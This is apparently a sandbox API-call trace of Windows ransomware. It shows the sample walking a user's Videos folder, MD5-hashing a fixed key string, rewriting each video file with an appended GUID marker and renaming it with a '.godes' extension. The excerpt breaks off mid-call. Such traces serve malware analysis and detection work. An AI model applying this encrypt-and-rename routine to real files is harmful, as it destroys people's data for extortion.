[0114.810] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.810] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.810] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.810] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.811] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.811] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.811] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.811] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.811] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.811] GetLastError () returned 0x0 [0114.811] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.811] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa4b0) returned 0x3323120 [0114.812] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.812] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xa4a8, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xa4a8, lpOverlapped=0x0) returned 1 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.812] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa4ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.812] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.812] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.812] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.813] CloseHandle (hObject=0x624) returned 1 [0114.813] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.813] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.813] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.814] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\V99IOj.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\v99ioj.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\V99IOj.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\v99ioj.flv.godes")) returned 1 [0114.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.814] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.815] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e28960, ftCreationTime.dwHighDateTime=0x1d4cd07, ftLastAccessTime.dwLowDateTime=0x2806a350, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x2806a350, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0xa4ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V99IOj.flv", cAlternateFileName="")) returned 0 [0114.815] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.815] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.815] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\") returned="qp8C\\" [0114.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0114.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.816] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.816] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.816] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.816] PathFindFileNameW (pszPath="") returned="" [0114.816] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af54980, ftCreationTime.dwHighDateTime=0x1d4c8b1, ftLastAccessTime.dwLowDateTime=0xf142550, ftLastAccessTime.dwHighDateTime=0x1d4cc9c, ftLastWriteTime.dwLowDateTime=0xf142550, ftLastWriteTime.dwHighDateTime=0x1d4cc9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.818] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af54980, ftCreationTime.dwHighDateTime=0x1d4c8b1, ftLastAccessTime.dwLowDateTime=0xf142550, ftLastAccessTime.dwHighDateTime=0x1d4cc9c, ftLastWriteTime.dwLowDateTime=0xf142550, ftLastWriteTime.dwHighDateTime=0x1d4cc9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.818] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x656d3f10, ftCreationTime.dwHighDateTime=0x1d4d2bc, ftLastAccessTime.dwLowDateTime=0xabc552d0, ftLastAccessTime.dwHighDateTime=0x1d4c91c, ftLastWriteTime.dwLowDateTime=0xabc552d0, ftLastWriteTime.dwHighDateTime=0x1d4c91c, nFileSizeHigh=0x0, nFileSizeLow=0xf265, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ci6IimcnO8zr.mp4", cAlternateFileName="CI6IIM~1.MP4")) returned 1 [0114.818] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\ci6IimcnO8zr.mp4") returned=".mp4" [0114.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\ci6IimcnO8zr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ci6iimcno8zr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.818] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=62053) returned 1 [0114.818] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.820] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf23f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.820] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.822] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xf265, lpOverlapped=0x0) returned 1 [0114.822] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.822] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.822] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.823] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.823] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.823] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.823] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.823] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.823] GetLastError () returned 0x0 [0114.823] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.824] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.824] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.824] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf265, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.824] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.824] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.824] CloseHandle (hObject=0x624) returned 1 [0114.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\ci6IimcnO8zr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ci6iimcno8zr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\ci6IimcnO8zr.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ci6iimcno8zr.mp4.godes")) returned 1 [0114.826] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.826] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.827] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.827] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a4cef0, ftCreationTime.dwHighDateTime=0x1d4cd2c, ftLastAccessTime.dwLowDateTime=0xca7c8da0, ftLastAccessTime.dwHighDateTime=0x1d4cee5, ftLastWriteTime.dwLowDateTime=0xca7c8da0, ftLastWriteTime.dwHighDateTime=0x1d4cee5, nFileSizeHigh=0x0, nFileSizeLow=0x1337e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ik6r7vA49Vf_2LVqLE.flv", cAlternateFileName="IK6R7V~1.FLV")) returned 1 [0114.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\Ik6r7vA49Vf_2LVqLE.flv") returned=".flv" [0114.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\Ik6r7vA49Vf_2LVqLE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ik6r7va49vf_2lvqle.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.827] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=78718) returned 1 [0114.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.829] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13358, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.829] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.830] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1337e, lpOverlapped=0x0) returned 1 [0114.831] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.831] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.831] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.831] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.832] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.832] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.832] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.832] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.832] GetLastError () returned 0x0 [0114.832] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.832] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.833] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1337e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.833] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.833] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.833] CloseHandle (hObject=0x624) returned 1 [0114.834] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\Ik6r7vA49Vf_2LVqLE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ik6r7va49vf_2lvqle.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\Ik6r7vA49Vf_2LVqLE.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\ik6r7va49vf_2lvqle.flv.godes")) returned 1 [0114.835] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbc57e40, ftCreationTime.dwHighDateTime=0x1d4d0db, ftLastAccessTime.dwLowDateTime=0x72892890, ftLastAccessTime.dwHighDateTime=0x1d4ce1a, ftLastWriteTime.dwLowDateTime=0x72892890, ftLastWriteTime.dwHighDateTime=0x1d4ce1a, nFileSizeHigh=0x0, nFileSizeLow=0x22a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MLRf.mp4", cAlternateFileName="")) returned 1 [0114.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\MLRf.mp4") returned=".mp4" [0114.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\MLRf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\mlrf.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.836] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=8869) returned 1 [0114.836] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.838] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x227f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.838] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.839] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x22a5, lpOverlapped=0x0) returned 1 [0114.840] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.840] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.840] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.840] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.841] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.841] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.841] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.841] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.841] GetLastError () returned 0x0 [0114.841] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.841] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.841] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x22a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.841] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.841] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.841] CloseHandle (hObject=0x624) returned 1 [0114.842] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\MLRf.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\mlrf.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\MLRf.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\mlrf.mp4.godes")) returned 1 [0114.843] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x770f9050, ftCreationTime.dwHighDateTime=0x1d4d065, ftLastAccessTime.dwLowDateTime=0x8bb096f0, ftLastAccessTime.dwHighDateTime=0x1d4cabe, ftLastWriteTime.dwLowDateTime=0x8bb096f0, ftLastWriteTime.dwHighDateTime=0x1d4cabe, nFileSizeHigh=0x0, nFileSizeLow=0x976d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NjbUt_t.mp4", cAlternateFileName="")) returned 1 [0114.843] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\NjbUt_t.mp4") returned=".mp4" [0114.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\NjbUt_t.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\njbut_t.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.843] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=38765) returned 1 [0114.843] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.845] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9747, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.845] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.847] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x976d, lpOverlapped=0x0) returned 1 [0114.847] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.848] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.848] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.848] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.848] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 